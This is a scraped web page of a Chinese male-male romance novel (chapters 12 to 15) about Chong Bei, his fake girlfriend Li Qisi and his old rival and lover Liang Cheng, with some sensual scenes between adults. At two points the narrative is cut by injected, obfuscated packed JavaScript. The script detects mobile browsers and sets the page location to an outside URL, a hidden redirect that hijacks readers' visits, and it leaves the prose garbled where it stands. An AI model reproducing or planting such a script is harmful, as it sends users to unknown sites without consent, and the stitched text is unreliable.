冲北转过脸,翻了个大白眼,无语道:“凭什么要我去追他,他不是也不理我。” 黎绮思笑笑,“哈哈哈哈,你还挺傲娇。男人嘛,就该主动点儿。两个人之间,你不主动,我不主动,那就是要game over.” 觑了他一眼,“你显然拒绝break up,那就去作进击的一方。” 冲北机械地翻了一页计划书,眼前密密麻麻的字图根本读不进去,晃得他脑仁疼,泄气地往后连翻好几页。 惹得一旁的黎绮思更是哈哈大笑。 冲北恼火地看她,“现在是工作时间,不要闲聊,我们赶紧弄完,你快回港岛吧,这里可留不住您这尊大佛。” 黎绮思“哎”了一声,“冲总可真无情呀,把人用了就扔,还记得是谁把你从水深火热中拯救出来吗?” 冲北大脑涨痛,抬手捏捏太阳穴,无奈道:“知道了大小姐。我们赶紧的,你不是也着急回港岛同老黎总复命?我俩争取早结束,正好也给我时间去追人,行不行?” 黎绮思点点头,“你说得不错,特别是最后一句,深得我心。最好在我下次来京州市之前,你就能把人追回来。” 冲北点头,“借你吉言,希望如此。那时候这项目也板上钉钉,我俩也都各自自由了。” 黎绮思一听,这不对,“你等等,什么叫各自自由。我俩只是假情侣,但是假情侣的作秀不能结束,除非家里要我们结婚。只要我俩其中一个人没结婚,那这个关系就要装到底。” “冲总难道想过河拆桥?这可不行,你拿了我黎家那么多投资,替我扮演一下男朋友这个角色,不过分吧。” 冲北哑然,当初两人的确对于这段虚假关系的扮演时长未做约定,冲北当时太绝望了,为了逃脱禁闭,头脑一热,什么都能答应。 他没想过梁澄心里有他,要不是昨晚对方的真情流露,他以为梁澄只把他当做情人,回国只是为了报复、折辱他,看他的笑话。 可真相是,他反正觉得对方心里有他,想到这里,冲北嘴角忍不住上翘。 黎绮思看到这人神神叨叨的模样,当场愣住,踩着细高跟,气冲冲离开了。连午间吃饭,都没同冲北一起出席。 冲北明白,他这是得罪这位小祖宗了。 得罪人,自然该认错。 当晚,冲北预定了一家出了名难约的餐厅,以示诚意。 黎绮思倒不矫情,欣然赴约,毕竟这座城市除了冲北,她还真不认识其他人。有人陪自己吃饭,总比一个人冷冷清清吃外卖的好。 餐厅就在CBD,离公司不远。 作为过错方,冲北自然甘作车夫,为黎小姐鞍马前后。 两人在靠落地窗边的显眼位置坐下,半开放的包厢,所有人的动态一览无余。 这里的景观极佳,向远方眺望,能看到红墙白瓦的宫殿。落日余晖下,城市透出一层厚重的沧桑感。 这是来自灯红酒绿繁华港岛的黎绮思不曾见过的历史洪流造就而成的独特韵律。 黎绮思情不自禁拿出手机,面带微笑,各个角度拍了好几张风景照,又把手机递给对面的冲北,说:“帮我拍张照,要把后面的风景拍进去哦。” 冲北接过微微发烫的手机,指尖微颤,这还是他第一次替人拍照,心里发怵,想起网上那些关于男朋友拍照的段子,担心起自己的技术。 见他拿着手机发愣,黎绮思不满道:“冲大少爷,你不是吧,连拍照都不会?难道没给你女朋友拍过照片?” 面对她嘲弄的语气,冲北耳廓泛红,被说得心虚。他刻意地咳了咳,说:“我当然拍过。只是我女朋友怎么拍都漂亮。至于黎小姐嘛,我不确定。” 被人调侃“不漂亮”,黎绮思不生气。只是好奇,冲北的女朋友到底是有多漂亮?才能把她比下去。 活了二十多年,她对自己的脸蛋,向来相当有自信。 脸上维 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黎绮思接过,嘴角勾起,看了眼冲北,欲言又止,笑着邀请梁澄,“多谢。这位先生看起来是冲北的朋友,要不要一起吃饭?” 梁澄还未开口,被突然站起来的冲北打断,“不行。” 梁澄冷色的脸顿时黑得乌云压顶,心里的怒气怎么都无法抑制,简直要把他自己烧焦。他攥紧双拳,喉咙干涩地说不出话,淬火的双眼牢牢盯着冲北。 那双狭长的凤眼里情绪复杂,冲北后背发汗,朝他走了一步,贴近他,打商量道:“我们出去说,好不好?” 梁澄显然格外吃他这一套,只是一句“好不好”,怒气攻心的火苗瞬间被浇灭一半儿,他径直扭身大步往外走,仿若多呆一秒,就是折磨。 冲北朝黎绮思抱歉地笑了笑,示意自己出去一下。 两人来到餐厅户外的庭院,已至初冬,院中栽种的树木零星还带着几片枯黄的叶片,地上的草坪不复绿意,干黄一片。 冲北跟在梁澄屁股后面来到藤编沙发坐下,他微微侧身,少见地观察起梁澄,去琢磨他的心里。 梁澄面无表情,只有皱起的眉头泄露他内心的窝火。 冲北想要伸手抹平他眉间的褶,没想到,梁澄忽然转过来看他,语气不善质问:“刚才那个女人就是黎绮思?你的相亲对象?” 冲北愣在当场,梁澄竟然连她的名字都一清二楚,那他与黎家的合作自然也了若指掌,这说明梁澄还是关心他的。 他嘴角微微翘起,内心欣喜不已。 倒不用麻烦他再做介绍了,于是,冲北点了点头。 下一秒,梁澄怒不可遏地站起来,攥紧成拳的双手隐藏在黑色羊绒大衣袖口,他的心脏像被烈酒浸泡那般疼,那样痛。 过了数秒,梁澄逼迫自己扯出一个还算得体的微笑,违心地恭喜,“那我就提前恭喜,等着喝冲总和黎小姐的喜酒了。祝你们百年好合,早生贵子。” 13. 第13章 冲北低下头,脸上一阵红一阵白,双手指尖因慌乱而不自觉相互磨蹭,尴尬到不行了。 过了好一会儿,冲北抬头看向梁澄,含含糊糊地说:“你别这样。” 梁澄此时火气更盛,看到昨晚和自己搂搂抱抱的人,第二天就同另外一个人甜蜜约会,对自己连一句解释的话都没有,甚至默许了两人情侣关系。 最后,还要指责他“你别这样”,多可笑呀。 他梁澄七年前可笑,七年后可笑程度甚至更胜一筹。不是可笑了,是纯粹犯.贱。 素来沉稳的梁澄丧失所有风度,双眼猩红,气势汹汹质问冲北,“什么叫我别这样?冲北,你才是为什么要这样!” 冲北哑然,他无地自容起身,抬手小心翼翼拉扯着梁澄坚实的臂膀,厚实大衣下的肌肉硬邦邦的,他还憋着口气。 那双略圆的狗狗眼中倒影着梁澄不近人情的脸,冲北捏着大衣布料的指尖开始犹豫。 与七年前的梁澄不同,现在的他不会再无条件包容自己了。 梁澄不是冲北养的小狗,不会随叫随到,予取予求。他拥有自己的情绪,会愤怒,会质疑,会拒绝。 梁澄盯着他委屈的神情,不解,明明遭受委屈的人是他才对。凭什么一个施“暴”者露出这一副可怜兮兮模样? 装给谁看? 就是装给梁澄看的,他的心不可避免变得柔软,看不得对自己示弱的冲北,大脑无意识地支配了他不自主的行为。 梁澄无奈地叹了口气,倏地把他拉进怀里紧紧抱住。 冲北冰冷的侧脸贴在他滚烫的颈窝,他能感受到面部皮肤下激烈跳动的神经,一颤一颤…拨动他的心房。 解释的话说不出口,冲北承认自己是个坏男人,既要又要还要。 两人沉默地抱了一会儿,冲北吸了吸鼻子,出来时太着急,没来得及穿大衣,他后背冷飕飕的。 梁澄摸了摸他单薄的衬衣,上面已经染上一层薄薄的白露,毫不犹豫脱下大衣,披在他身上,包裹得严丝合缝。 混着体温的大衣顿时温暖了冰寒的躯干,冲北嘴角勾起,双眼亮晶晶看着他说:“梁澄,我们进去吧。” 梁澄原本缓过来的脸色瞬间沉下去,眼色阴鸷,冷笑道:“怎么,你还要进去继续和黎小姐约会?” 冲北赶忙摇头,贴心的话如鲠在喉,张不开嘴。他的大衣披在自己身上,傍晚初冬的室外,他同样担心梁澄也冷。 见冲北还算识相,梁澄绷紧的神经放松下来,攥紧他双手,恶狠狠道:“马上进去和她说分手。” 冲北脸色微变,不敢同他对视,心虚地低下头,紧皱的眉头泄露了他内心的焦灼。 这看得梁澄更是焦躁万分——他不愿意。 “冲北你……”梁澄搂住他的手臂用力,盯着他的脸,不放过面上半点儿变化,见他依然无动于衷,像个缩头乌龟一样。 梁澄彻底怒了,也是真的想要放弃了。 他猛地甩掉冲北的手,想要离开,却又被冲北迅速抓牢。他抬头,用那双满是温情的狗狗盯着梁澄。 那一刻,梁澄承认,他无药可医了。 他拉着冲北回到餐厅室内,黎绮思正在悠闲地享受美食,见到衣衫不整的二人,眼中兴味盎然,挑眉邀请道:“啊哈,回来了,坐下一起吃吧。” 梁澄和冲北面对黎绮思坐下来,屁股下柔软的沙发海绵像长满了刺的仙人掌,扎得冲北坐立不安。 梁澄正襟危坐,让服务生加了套餐具,神态自如同黎绮思搭话,两人从港岛家族内斗聊到移居J国的华人八卦,不亦乐乎。 冲北觉得自己像个外人,他不言语,闷头吃着面前的惠灵顿牛排。 牛排酥脆的外壳已经完全变软了,内里的牛肉也烤得太老太焦,失去丰盈的汁水。 冲北切得费劲,吃得也费劲,哭着眉,食不下咽。 梁澄余光没离开过旁边人,他顺手把面前盘子里刚上的西冷牛排切好,动作娴熟换给冲北。 姿势亲昵、自然,黎绮思想要忽略都难,她挑眉觑了冲北一眼,嘴角勾起有意思的笑,又用审视的目光打量梁澄。 冲北低着头没瞧见,梁澄则是云淡风轻地回了一个称不上挑衅的笑,足够体面、大方、绅士。 黎绮思终于清楚了,原来冲北嘴里的那个“女朋友”是“男朋友”,难怪他那样急吼吼地选择同自己合作。 像他们这样的家族,同性恋属于异类,真爱更是稀有。既然享受了家族财富、地位、荣耀的庇佑,那么牺牲小我,理所应当。 这是她从小到大被潜移默化的规训。 至于什么稀奇的真爱,最后还不是一地鸡毛,被时间打败。而同性恋,那更是讳莫如深,会被大家长送上精神病院做电疗。 在港岛,除非完全掌控家族,或是沦为家族的弃子,他们才有自主选择的资格。 在同性婚姻合法化的新时代,黎绮思身边不是没见过领证结婚的同性伴侣,但那大多都是普通人。 在他们这个圈子,除了顾家和庄家那两位特殊,少时一同长大的竹马,两家长辈乐见其成,不反对,恋爱婚姻自由发展。 高调到黎绮思刚来京州便道听途说两人爱恨情仇多次,至于其他的,她还真没见过。 刚出去吹了一阵儿冷风,原本胃口不好的冲北,此时饥肠辘辘,一块牛排只够塞牙缝,又舀起表面浮了一层白膜的奶油蘑菇汤。 梁澄抓住他的手腕儿,贴心制止,“汤凉了,喝了胃会不舒服,再让他们上一份。” “好。”冲北点头。 黎绮思抿了一下唇。 这顿饭吃得很奇妙,三个人吃得平淡,对话平淡,连最后的告别也异常平淡。 没有激烈的争执,只剩下心知肚明的互不打扰。 黎绮思没开车,是搭冲北车一起过来的。冲北自然也要负责送她回家。 这就把梁澄冷落在一旁了,他自然不乐意,于是让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安全带束缚着上半身,阻挠两人贴近的身体。梁澄迫不及待替他解开,因太过心急,手心被粗糙的带子割了一下。 他分神,小心地握住安全带,往车门带,不让它碰到冲北。 狂烈的喘息声在安静的车厢内回荡,这个吻很凶,很久,带着惩戒的意味。 冲北尝到口腔里渗出铁锈的味道,他掌心贴上梁澄后脑勺,一下又一下,轻轻抚摸,尝试安抚他失控的情绪。 指肚移动到滚热的耳垂,轻柔地捻着,哄着,像驯服一头红了眼的公牛。 梁澄吻开始变得温柔,讨好,鲜红的舌尖轻轻舔舐他破皮的唇瓣,禁锢身体的手掌缓缓下移,温柔抚摸冲北弯曲的腰线,扯开扎进腰的衬衫,往里钻。 他的指肚略微粗糙,摩挲起了痒意,冲北反手去捉,那只手游离极快,如鱼得水,捉摸不透。他只好罢了。 吻了许久,车厢内的空气都被吸干,两人嘴角上透亮地分离,鲜红的唇色上印着晶莹的水渍,神色迷离。 口腔的血腥味儿早已冲淡,冲北气喘吁吁侧躺在驾驶座,一只手和梁澄十指紧握置于中控台,彼此手心潮热,滚烫,皆沾满了情.欲,被扰乱了心绪。 梁澄回味地舔了舔湿润油滑的唇边,邀请陷入迷乱的某人,“要一起上楼吗?” 他的声音带着缺氧后的微微暗哑,像狐狸精一般蛊惑人心。 14. 第14章 冲北没有立马回答他,等待气息平稳。他扯了一张面巾纸擦嘴,又客气问梁澄是否需要? 梁澄稠黑的眼紧紧盯着他,语气不善地问:“你嫌弃我?” 冲北一愣,他只是觉得嘴巴上面湿黏黏的不舒服,并没有半分嫌弃梁澄的意思。 这人未免也太小心眼了。 “没有,只是黏糊糊的不舒服。”冲北解释,又顺手把纸巾扔进车载垃圾桶,俯身凑近梁澄,调侃,“梁澄,你是小气鬼吗?” 梁澄唇瓣湿红,嘴角还残留透明的nian.液,冲北伸出白皙的指尖恶意揉捻蹭,指肚下的唇轻轻颤抖,忽然伸出舌尖将它包裹进去。 冲北“哎”了一声,向后试图抽离,被心急火燎的梁澄攥紧手腕儿,漂亮的指节陷入更深。粗糙的舌根摩擦光滑的皮肤,又热又滑又痒。涎水沿着嘴角、手指滑落,滴坠在梁澄黑色衣裤上,湿结成明显的深色污渍。 冲北被刺激得两颊驼红,试图逃离这种不自控的境地,但你追我赶,只得被动陷入。 “梁澄,你别……别这样。”冲北再次想要抽回手指。 他下腹处微微凸起,梁澄用舌尖推着手指后退出口腔,分明的指骨像被油浸润过,闪着晶透的润泽。 冲北还想要抽回手,被他一把攥紧,贴在唇边,热烈邀请,“要一起上去吗?” 车厢内空调热气浑浊,冲北两鬓发了汗,身体燥热不已。两难之间,得闲伸出另一只干燥的手调低了空调温度。 冲北迟疑,梁澄狠狠亲了亲面前滑溜溜的手背,凤眼里含着蜜色,引.诱他,却又装得纯真模样,像期待放学后一起玩耍的小伙伴,“去嘛。” 冲北内心悸动,沉默了数秒,还是拒绝了,“梁澄,放我回家吧,我爸在等我。” 拥有门禁限制的成年人,十二点前……不,九点前,必须回家的灰姑娘。 梁澄脸上露出很明显的不高兴,但成年人需要在取舍中抉择出利益最大化,他绝不允许冲北独自承担放纵的后果。 指尖用力插入指缝,十指交缠握紧,梁澄不舍的情绪蔓延。 冲北以为他还是不愿意放自己走,解释得更清楚,“今天提前报备和黎绮思一起吃饭才能晚点回家,平时他给我设置了九点的门禁时间。” 提到“黎绮思”三个字时,梁澄脸色晦暗一瞬,他不喜欢冲北在两人的时间里,提及其他人的名字。 抬起他的手背送到唇边,贴着问:“是因为上次你到我家来,被冲叔叔发现了吗?” 冲北点头,想起面前这个黏人的醉鬼,今天也是相当粘人呀。 “对,就是那天,我在你家洗了个澡,他那狗鼻子闻到身上沐浴露的味道了,跟家里的不一样。”冲北苦笑,抬手抚平他发顶乱舞的发丝。 梁澄垂下脑袋,凑近他,问:“你家里用的什么牌子,什么味道?我马上去下单一模一样的。” 他说话时的神情很认真,逗得冲北顿时笑了满怀,连声音都沙哑了,他说:“梁澄,你也太逗了。我们谈个恋爱怎么还整得像地.下.党接头。” “谈恋爱”这三个字让梁澄的心脏剧烈跳动了一下,他的唇在冲北手背磨蹭,闷声重复了一遍,“谈恋爱。” 抬眼看向冲北,眼睛被车外白炽灯的光照得无比灿亮,确认道:“冲北,我们是在谈恋爱吗?” 他的手指微微颤抖,连带着身体也忐忑地等待面前人的答复。双眼锁定冲北,瞳孔因紧张而紧缩呈竖状。 握紧的手指被攥得更紧,冲北甚至感受到了疼痛,方才“谈恋爱”三个字说得太轻松,实在有些“祸从口出”了。 他哪里在和梁澄谈恋爱,分明是猫捉老鼠,你追我赶的竞技游戏。这场游戏唯一的输家,便是提前动了心的人。 冲北瞬间冷静下来,顾左右而言他,“你攥得我疼了。”他晃了晃被握紧而疼痛的手。 梁澄紧张地松开手上力量,比起死皮赖脸问个结果,他更担心冲北的感受。 大男人被攥一下哪真有那么疼,冲北一边假意按摩那只手,另一边余光瞥他。 梁澄满脸关心,让冲北感到懊恼,他到底在干些什么,连自己都看不懂。 冲北凑近,拦过梁澄的腰,下巴搁在肩膀,安慰,“没事的,我不疼。但我现在真的要走了。” 梁澄沉默了一会儿,抬手拍了拍他后背,说:“记得把洗浴用品的牌子发给我,免得下次还被发现。” 冲北脸瞬间红晕,身体不自觉发麻,这种背着家长偷偷谈恋爱的感觉真是不赖。 他回想起七年前,在京州大学的时光。 * 本该是最愉快的高中毕业暑假,冲家因为梁澄的寄住,闹得鸡飞狗跳。 冲北无法接受家里住下一个同龄的男孩儿,更无法接受父亲对他比自己还好,甚至让他叫梁澄‘哥哥’。 十八年的独生子地位不保,冲北使出浑身解数,最后只有一个目的:把这个不知道哪儿来的“哥哥”,赶出冲家。 父亲从前有多宠冲北现在就有多宠那个男孩儿。 今天,冲北让司机送自己去商场购物,结果临上车,被拦下来,说是冲霄吩咐,先送梁澄去银行。 冲北已经提前占据后车座,此时当然不可能自愿被撵下去,更不愿意先送梁澄,只一味催促前头的司机赶紧开车。 忠厚老实的司机哪里敢动,在两人之间急得满头大汗,既不敢让从小伺候到大的小少爷下车,也不敢违抗冲霄命令,拒载梁澄。 梁澄来冲家的第一天,冲霄三令五申,对待他同冲北无异,否则就收拾行李走人。 最后还是梁澄主动解围,提出先送冲北,再送自己。 梁澄伸手去开后车门,被坐在另一侧的冲北一个翻身拉住内车门把手,透过深茶色的车窗,他瞧见梁澄神色不惊的死人脸,淡定自如,看不出一丝窘态。 冲北拉门的手一顿,瞬间觉得没趣极了,按下车窗,颐指气使,“你…坐前面去。” 顶着那副面无表情的冷脸,梁澄抬了抬薄薄的眼皮,打开副驾驶车门。 司机朝他友好笑了笑,问:“小梁少爷,冲总让我先送你。” 梁澄系好安全带,朝他点了点头,听见后车厢传来冲北不忿地“哼”了一声。 梁澄对司机说:“先送他吧,我不着急,等等也行的。” 汽车开始行驶,司机点头,“好的。” 冲北抵达商场时,离约好的时间还有半个小时,他就是故意恶心梁澄,听见他要用车,便提前占了位置。 最后不但还是让他坐上车,自己还早到了。可冲北最不喜欢等人了。 冲北坐在门口的咖啡店里,面前的冰美式即将见底,二十多分钟后,符景才“姗姗来迟”。 冲北抱胸,拧着眉抱怨,“符景,你怎么这么慢呀,我等了你快半个小时。” 符景和冲北是中学同学,同样也是位富家大少爷,听到冲北的抱怨,随即拆穿真相,“害,明明是你小子自己来早了。我可是按照我们约定时间来的。” 他抬手抹了一把额头汗水,把潮湿的掌心递给他看,“你看,要不是你一直催我,我至于跑得满头大汗?你真是不识好歹。” 冲北自知理亏,抿着唇把手边提前点好的冰美式递给他,缓解气氛,“是兄弟的错,您先喝点儿,解解热。” 符景倒也不客气,一把接过,两三秒,棕色液体下去一大半,他缓了一会儿,问:“怎么?又和你那个新来的‘哥哥’吵架了?” 冲北恹恹点头,咬着吸管,说:“他真是烦死了,怎么都赶不走,恶心。我爸对他比对我还好。” 符景叹了口气,安慰的话也说过不知道多少遍了,现在也不知道应该如何宽慰冲北。 像他这样的多子女家庭,父母亲的宠爱本就是掰开成几瓣,想要分得多一些,就要去争,去抢。 而冲北这样的独生子哪里能理解他,但他倒是完全理解冲北的愤怒。 冲北见他闷头吸着不搭话,语气不好,“难道你也觉得是我太过分了吗?毕竟他爸妈才死没多久,看起来好像也挺可怜的。” 符景怔了一下,转移话题,“你不是一直不相信你爸说的话,觉得他是你爸的私生子吗?怎么,现在还真信了他的可怜身世?” 冲北抿了下唇,指腹捏着咬扁的吸管搅动塑料杯里的冰块,发出叮当响声。 “我爸都这样说了,应该不会骗我,他也从来没骗过我。而且他们只有眼睛像,其他地方不像,我爸还是跟我更像。” 冲北一边说着,神色还浮现出几分骄傲模样。 符景同意。 毕竟他们这个圈子里,私生子女并不是什么见不得光的事,反倒像冲北父亲那样的情况才是凤毛麟角。 冲霄作风正派,一个鳏夫带着独生子多年,在外也没听说过养了情人,素来是圈内太太们私下八卦时的羡慕对象。 不说别家,连符景的母亲都不下数次数落自家丈夫时,提及冲霄,抱怨丈夫应该多跟他学学,别把圈内那些坏习惯习得登峰造极。 符景点点头,附和道:“你说得对,你爸在圈子里风评那么好,怎么可能搞出一个跟你同岁的哥哥,要有的话也是弟弟妹妹。” 冰块凌杂的摇晃声骤然停歇,冲北生气地打断他,“才不会,我才不会有什么弟弟妹妹,我爸只爱我一个,这辈子只会有我一个孩子。” 符景被他吓得打了个哆嗦,也理亏自己胡扯了,补救道:“哎,我就那么随口一说。你家里肯定就只有你一个。你那个‘哥’是冲叔叔好朋友的孩子,人家没了爸妈的确挺可怜的,你就别欺负他了。” “欺负?我哪里欺负他了,我不就是想把他从我家赶出去,看见他就烦,一天板着张二百五的脸,像谁欠他钱了。我爸还对他嘘寒问暖,最近对我是越来越敷衍。” 话刚落地,冲北一把甩出手里的空杯,杯子在桌上翻滚,里面的冰块相互碰撞,发出刺耳的声音。 杯子恰好滚到符景面前,他快速接住杯子,在桌面放好。 最近每次和冲北聊天,总是提及他这个“哥哥”,他听得耳朵都要起茧子了。 符景叹了口气,说:“别说这些不开心的了,我马上就要去J国留学,以后只能假期见面了,趁着这个暑假咱俩多见见,以后想见一面都难。” 冲北无所谓道:“见面还不简单,你没事就飞回国看我呗,我没事也飞去J国找你玩儿。” 符景附和,“也对,反正即使我没钱,还能跟你借钱买机票。” 冲北抬手打了他一下,“你小子竟然以后还想跟我借钱!摊上你这么个朋友真命苦,连去泡妹花的都是我的钱。” 符景嘿嘿一笑,提议,“正好暑假没事,要不然我给你也介绍个妹子认识吧,谈个恋爱玩玩,免得浪费时间和你那个哥哥作对,有这时间做啥不好。” 他一边说,一边装模作样地翻阅起手机通讯录名单,喃喃低语哪个适合好兄弟冲北。 冲北朝他翻了个大白眼,抓住他的手腕儿,“你别了,我不想谈。我又不喜欢人家,干嘛莫名其妙跟一个女生见面,这样很奇怪。” 符景触屏的手一愣,抬眼看向他,呲笑一声,“哟,你还是个纯情小奶狗呀。不过 ……” 冲北长相帅气,学校里对他表达过好感的女孩也不少,可人家愣是一个看不上,即使这里头还有长得格外漂亮的大美女。 可学霸的想法,是他这种依靠家庭支持去国外镀金的学渣无法理解的事儿。就像他无法理解冲北家境殷实,还要努力学习靠自己考上京州大学的意义。 “不过什么?”冲北问。 符景说:“你没有喜欢过人吗?” 冲北没有一丝犹豫地摇头。 与此同时,脑海中骤然浮现一个小小模糊的身影,记忆中的那个小女孩披着一头柔顺的长发,可可爱爱,被自己牵着手,在海边快乐地堆沙子。 符景见他陷入沉思,抬眉惊讶,好兄弟原来有喜欢的姑娘,他却不知道! 在冲北眼前挥了挥手,打断他的回忆,惊诧地问:“兄弟,原来你心里有人呀。害,难怪看不上我给你介绍女孩儿。” 冲北一把拍开他的手,红着耳朵否认,“符景,你特么别瞎说,你以为我是你呀,女朋友一周换俩,你个超绝无敌死渣男。” 符景朝后往椅背一靠,无奈地摊开双手,“哥们,我这是问你心里有没有人呀?你怎么扯到我渣不渣了。再说了,我渣谁又没渣你,至于这么义愤填膺嘛。” 冲北拧眉,生气地嚷道:“你说什么屁话呢,你渣我?两个男的怎么可能在一起,你还要渣我,好笑。” 他的音量略大,周围人交头接耳,纷纷笑着打量起这两个青葱的俊美小男生。 那些调侃的目光太直接,冲北一下焉了,不好意思地凑近符景小声道:“你个渣男,我们赶紧走。” 符景也觉得尴尬,他刚才也只是犯犯嘴瘾,瞎讲一通的。 虽然以前班上那些女孩儿喜欢看的什么耽美小说、漫画,经常对着两个男的嗑生嗑死,他和冲北因为经常一起玩儿,也被她们磕过。 但他真的笔直呀,冲北也是! 两人乘坐扶梯去楼上购物,为大学生活购置一些新装备,主要是冲北想换一台超炫酷的新款电脑。 豪华的品牌旗舰店内寥寥数人都是店员,这个牌子的电脑最低配版本都是一万多,不是主打性价比的牌子,名副其实笔电界的奢牌。 两人昂首挺胸走进去,店员看到俩小孩儿进来,本来不准备搭理。但眼尖的店员早发现这两人身上、脚上穿的都是贵货。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275763|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先敬罗衣后敬人,店员很有眼色地开始笑着招呼,“你好,请问有什么需要的吗?” 冲北大大咧咧道:“XX系列的最新款顶配有现货吗?” 店员脸上露出惊讶的神色,热情地把他领到最新款的面前,解锁后开始介绍,又让冲北上手操作。 冲北拒绝了,他买东西向来看酷不酷,配置什么的可以后期再调整。这台电脑的实物比图片还要酷炫,看到的那一刻,他只想马上拿下。 冲北直接对店员说:“就要这个,帮我包起来。” 店员笑容满面,立马点头,“好的好的,我这就去给你拿台新的。” 打包好电脑,俩人被领到收银台结账,冲北递出手机二维码,嘀一声,屏幕显示支付失败“额度不足”。 “嗯?怎么回事?”冲北拧眉,调出另一张卡,说:“再扫一次。” 嘀一声,同样支付失“额度不足”。 店员眼珠子转了转,打量起冲北这位富家小少爷,没钱?装货? 冲北咳了咳,想起出门前父亲的威胁,不听话就停卡。 他尴尬地凑近符景问:“你有钱吗?先帮我付了,回去就还你。” 符景一愣,他一向被家里管得严,从来是他向冲北借钱,他哪里有钱借给冲北。 捂住嘴,贴在冲北耳边,小声,“哥们,我家里把我钱卡得有多紧,你又不是你知道,我哪里有这么多钱借你,你把我卖了算了吧。” 店员见这两人心虚嘀咕,以为接待了个大款,结果是没钱付款的装货穷鬼,内心顿时不爽起来,脸上的笑意全无,冷冷道:“电脑还要吗?” 冲北尴尬,挠了挠头,正准备说算了,身后传来冷淡的男声,“要,我来付。” 冲北一怔,这人的声音怎么听起来好熟悉,扭头一看,跟自己心里猜想一样,果然是梁澄。 他把手机递到店员面前,嘀一声,付款成功。 冲北憋着火,小声自言自语,“谁要你帮忙给了,假好心。” 他的声音很小,自以为梁澄不会听见,谁料到,梁澄解释,“冲叔叔他说冻结了你的信用卡,让我过来帮你付款。” 冲北扭头看他一眼,“哦”了一声,一脸不快地绕开梁澄径直朝外走,连收银台上的电脑都没拿,梁澄快速拿起纸袋,跟着他。 信用卡都被冻结了,冲北购物的好心情自然烟消云散,烦死了,烦死了。他的眉头拧成川字,连符景什么时候走的都不知道。 最后剩下他和梁澄两人在商场漫无目的地游荡。 过了好一会儿,冲北停下,朝后一看,梁澄提着电脑袋子,跟在距离他两三步的位置。 “你怎么还不走,跟着我干嘛?”环视一圈,没见到符景,又气冲冲地问:“符景怎么没在了?” 梁澄上前,与他并行,“刚才他家里人打了个电话,被叫回去了。” “啊?”冲北像是完全失去这段记忆,掏出裤兜里的手里,看到符景给他发的信息“兄弟,家里有事,先走一步 。你和你哥哥逛吧”。 一看到“哥哥”两个字,冲北险些一把摔了手机,他回复,“你丫的,滚蛋,没义气。” 对方很快回复,“哥们,我家里真有事儿。下回再约,么么哒。” “恶心。”冲北看见最后三个字,随即关了屏幕。 从上午出门一直到现在只喝了一杯咖啡,腹部隐隐作痛,此时,空气中又传来食物的香味,冲北顿时觉得饿了。 他摸了摸肚子,侧过脸问梁澄,“你饿不饿?” 梁澄瞧见他揉肚子的手,“饿了,我们去吃饭吧。” 冲北大发善心地点头说:“嗯,那就一起吃个饭吧。” 他懒得找店了,直接走进一家距离两人最近的粤菜馆,坐下翻开菜单,“怎么都是粤菜呀,我不喜欢吃。” 梁澄倒水的动作停在半空,问:“那我们换一家?” 说着便要起身,冲北看了眼立在身旁的服务员,小少爷是好面子的,自然丢不起这张薄脸皮。 冲北嘟着嘴说:“算了,来都来了。 ” 他翻阅几页,点出几道还算符合自己重口味的菜,便搁下了菜单,也不问坐在对面的梁澄要吃什么,自顾自扣了扣封皮,对服务员说:“拿走吧。” 服务员看了眼梁澄,见他也没有异议,抱起菜单离开。 梁澄把倒好清茶的水杯贴心地放在他面前,冲北觑了眼看起来让人畜无害的梁澄,心想:呵,还想贿赂小爷我,想都别想。 买东西、吃饭的钱还不是从我爸口袋里爆的,我爸的就是我的,休想要我还人情,小爷我还没那么蠢。 冲北淡定自若喝了几口茶水,没一会儿,菜便端上来了。他低头夹着菜,跟对面没有交流,像同个陌生人拼桌吃饭。 桌面上的手机震了一下,冲北拿起一看,是符景问他在哪儿?回家没有。 冲北嚼了嚼嘴里寡淡的牛肋条,愤愤打字,“你这个没良心的,兄弟有难跑得比谁都快。我还在商场吃饭。” 符景回信迅速,“和你哥哥一起吃饭?” 冲北:“不然呢。难道跟你吗?我信用卡被我爸停了,不跟着他吃饭,难道去街边乞讨?饿死我了,上午没吃饭就出来,结果午饭选在一家粤菜馆,难吃死了。” 符景:“梁澄选的?那他不是故意恶心你,毕竟你可是无辣不欢重口味。” 冲北微微抬头,余光瞟了眼对面低头进食的梁澄,撇嘴打字,“不是,看这家离得近,坐下来才发现是粤菜。今天倒霉死了。” 符景那边显示“正在输入中”,对面的梁澄见他噘嘴盯着屏幕,面前的菜几乎没怎么动,拿着筷子,问:“不合胃口吗?要不结账,换一家?” 冲北抬眼看向他,心里觉得不好意思,语气却骄纵得很,转了转眼珠子,勉为其难地说:“行吧,那依你。” 对面还没回消息,冲北按下锁机键就起身离开,也不管后方的梁澄。 冲北先到门口,梁澄在前台结了账,两人门外汇合,一起找了一间滇菜小馆。 冲北兴致勃勃点了餐,照样没问梁澄吃什么便把菜单交回服务员。 这一次的菜品麻辣鲜香为主,很符合冲北口味,抬筷子的频率明显增加,小嘴被辣得红彤彤的,鬓角流下一行热汗。 梁澄反倒不怎么吃麻辣,上菜时,香料的爆辣味呛得他还打了好几个喷嚏。 他抽出几张面巾纸,递给流汗的冲北,冲北倒不矫情,爽快接过,还道了声谢。 梁澄又替他点了杯特色冰抹茶解辣,冰冰凉凉的,灌入肠胃,赛似活神仙。 咽下最后一口菜,冲北拿纸巾抹了抹嘴唇,准备结账走人,手机又亮了。 符景回信:“哟吼,还替你哥说话,冲北你个深柜。” 15. 第15章 冲北看到信息,立马炸开了锅,一个电话拨过去,大骂符景神经病。 符景本就是开个“小”玩笑,在那头连连道歉。 冲北不接受他的道歉,让他滚,一把挂断电话,恶狠狠剜了一眼莫名其妙的梁澄。 祸及池鱼,梁澄遭受无妄之灾。 